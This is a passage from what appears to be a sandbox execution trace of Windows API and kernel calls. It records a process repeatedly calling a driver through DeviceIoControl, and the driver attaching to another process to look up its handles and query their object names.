[0093.844] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.845] ObQueryNameString (in: Object=0xfffffa80035a59d0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.845] ObfDereferenceObject (Object=0xfffffa80035a59d0) returned 0x10 [0093.845] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.845] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.845] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.845] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0093.845] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.845] PsAcquireProcessExitSynchronization () returned 0x0 [0093.845] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.845] ObReferenceObjectByHandle (in: Handle=0x67c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003570070, HandleInformation=0x0) returned 0x0 [0093.845] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.845] PsReleaseProcessExitSynchronization () returned 0x2 [0093.845] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.845] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233508) returned 0x0 [0093.845] ObfDereferenceObject (Object=0xfffffa8003570070) returned 0x1 [0093.845] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.845] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.845] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.845] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0093.845] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.845] PsAcquireProcessExitSynchronization () returned 0x0 [0093.845] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.845] ObReferenceObjectByHandle (in: Handle=0x694, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003586f20, HandleInformation=0x0) returned 0x0 [0093.845] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.845] PsReleaseProcessExitSynchronization () returned 0x2 [0093.845] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.845] ObQueryNameString (in: Object=0xfffffa8003586f20, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.845] ObfDereferenceObject (Object=0xfffffa8003586f20) returned 0x1 [0093.845] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.845] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.845] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.846] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.846] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.846] PsAcquireProcessExitSynchronization () returned 0x0 [0093.846] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.846] ObReferenceObjectByHandle (in: Handle=0x6a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.846] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.846] PsReleaseProcessExitSynchronization () returned 0x2 [0093.846] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.846] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.846] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.846] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.846] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x128, lpOverlapped=0x0) returned 1 [0093.846] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.846] PsAcquireProcessExitSynchronization () returned 0x0 [0093.846] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.846] ObReferenceObjectByHandle (in: Handle=0x6e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00207bc00, HandleInformation=0x0) returned 0x0 [0093.846] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.846] PsReleaseProcessExitSynchronization () returned 0x2 [0093.846] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.846] ObQueryNameString (in: Object=0xfffff8a00207bc00, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.846] ObfDereferenceObject (Object=0xfffff8a00207bc00) returned 0x2 [0093.846] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.846] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.846] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.846] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xf2, lpOverlapped=0x0) returned 1 [0093.846] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.846] PsAcquireProcessExitSynchronization () returned 0x0 [0093.846] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.846] ObReferenceObjectByHandle (in: Handle=0x6f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002092c20, HandleInformation=0x0) returned 0x0 [0093.846] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.846] PsReleaseProcessExitSynchronization () returned 0x2 [0093.847] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.847] ObQueryNameString (in: Object=0xfffff8a002092c20, ObjectNameInfo=0xfffffa8003929044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003929044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.847] ObfDereferenceObject (Object=0xfffff8a002092c20) returned 0x2 [0093.847] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.847] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.847] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.847] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x138, lpOverlapped=0x0) returned 1 [0093.847] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.847] PsAcquireProcessExitSynchronization () returned 0x0 [0093.847] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.847] ObReferenceObjectByHandle (in: Handle=0x718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0020ff7e0, HandleInformation=0x0) returned 0x0 [0093.847] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.847] PsReleaseProcessExitSynchronization () returned 0x2 [0093.847] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.847] ObQueryNameString (in: Object=0xfffff8a0020ff7e0, ObjectNameInfo=0xfffffa8002126044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002126044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.847] ObfDereferenceObject (Object=0xfffff8a0020ff7e0) returned 0x2 [0093.847] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.847] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.847] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.847] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xd6, lpOverlapped=0x0) returned 1 [0093.847] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.847] PsAcquireProcessExitSynchronization () returned 0x0 [0093.847] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.847] ObReferenceObjectByHandle (in: Handle=0x720, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800209cd00, HandleInformation=0x0) returned 0x0 [0093.847] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.847] PsReleaseProcessExitSynchronization () returned 0x2 [0093.847] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.847] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800211a044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800211a044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.847] ObfDereferenceObject (Object=0xfffffa800209cd00) returned 0x11 [0093.847] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.847] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.847] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.848] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xea, lpOverlapped=0x0) returned 1 [0093.848] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.848] PsAcquireProcessExitSynchronization () returned 0x0 [0093.848] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.848] ObReferenceObjectByHandle (in: Handle=0x728, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80024238a0, HandleInformation=0x0) returned 0x0 [0093.848] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.848] PsReleaseProcessExitSynchronization () returned 0x2 [0093.848] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.848] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003ab3044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003ab3044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.848] ObfDereferenceObject (Object=0xfffffa80024238a0) returned 0x1 [0093.848] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.848] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.848] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.848] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x11c, lpOverlapped=0x0) returned 1 [0093.848] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.848] PsAcquireProcessExitSynchronization () returned 0x0 [0093.848] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.848] ObReferenceObjectByHandle (in: Handle=0x73c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020beab0, HandleInformation=0x0) returned 0x0 [0093.848] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.848] PsReleaseProcessExitSynchronization () returned 0x2 [0093.848] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.848] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.848] ObfDereferenceObject (Object=0xfffffa80020beab0) returned 0x1 [0093.848] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.848] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.848] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.848] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0093.848] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.848] PsAcquireProcessExitSynchronization () returned 0x0 [0093.848] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.848] ObReferenceObjectByHandle (in: Handle=0x74c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0020d4a50, HandleInformation=0x0) returned 0x0 [0093.848] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.848] PsReleaseProcessExitSynchronization () returned 0x2 [0093.849] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.849] ObQueryNameString (in: Object=0xfffff8a0020d4a50, ObjectNameInfo=0xfffffa8001942044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001942044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.849] ObfDereferenceObject (Object=0xfffff8a0020d4a50) returned 0x2 [0093.849] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.849] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.849] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.849] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0093.849] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.849] PsAcquireProcessExitSynchronization () returned 0x0 [0093.849] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.849] ObReferenceObjectByHandle (in: Handle=0x7b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f8a3b0, HandleInformation=0x0) returned 0x0 [0093.849] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.849] PsReleaseProcessExitSynchronization () returned 0x2 [0093.849] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.849] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.849] ObfDereferenceObject (Object=0xfffffa8002f8a3b0) returned 0x1 [0093.849] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.849] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.849] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.849] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0093.849] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.849] PsAcquireProcessExitSynchronization () returned 0x0 [0093.849] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.849] ObReferenceObjectByHandle (in: Handle=0x7d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003555b30, HandleInformation=0x0) returned 0x0 [0093.849] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.849] PsReleaseProcessExitSynchronization () returned 0x2 [0093.849] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.849] ObQueryNameString (in: Object=0xfffffa8003555b30, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.849] ObfDereferenceObject (Object=0xfffffa8003555b30) returned 0x1 [0093.849] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.849] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.849] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.849] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0093.850] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.850] PsAcquireProcessExitSynchronization () returned 0x0 [0093.850] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.850] ObReferenceObjectByHandle (in: Handle=0x7e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003b34860, HandleInformation=0x0) returned 0x0 [0093.850] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.850] PsReleaseProcessExitSynchronization () returned 0x2 [0093.850] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.850] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.850] ObfDereferenceObject (Object=0xfffffa8003b34860) returned 0x1 [0093.850] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.969] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.969] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.969] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0093.969] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.969] PsAcquireProcessExitSynchronization () returned 0x0 [0093.969] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.969] ObReferenceObjectByHandle (in: Handle=0x7f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0093.969] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.969] PsReleaseProcessExitSynchronization () returned 0x2 [0093.969] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.969] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.969] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0093.969] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.969] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.969] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.969] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.969] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.969] PsAcquireProcessExitSynchronization () returned 0x0 [0093.969] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.969] ObReferenceObjectByHandle (in: Handle=0x808, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001fc5590, HandleInformation=0x0) returned 0x0 [0093.969] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.969] PsReleaseProcessExitSynchronization () returned 0x2 [0093.969] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.969] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.969] ObfDereferenceObject (Object=0xfffffa8001fc5590) returned 0x1 [0093.969] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.969] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.969] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.970] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.970] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.970] PsAcquireProcessExitSynchronization () returned 0x0 [0093.970] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.970] ObReferenceObjectByHandle (in: Handle=0x8a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: 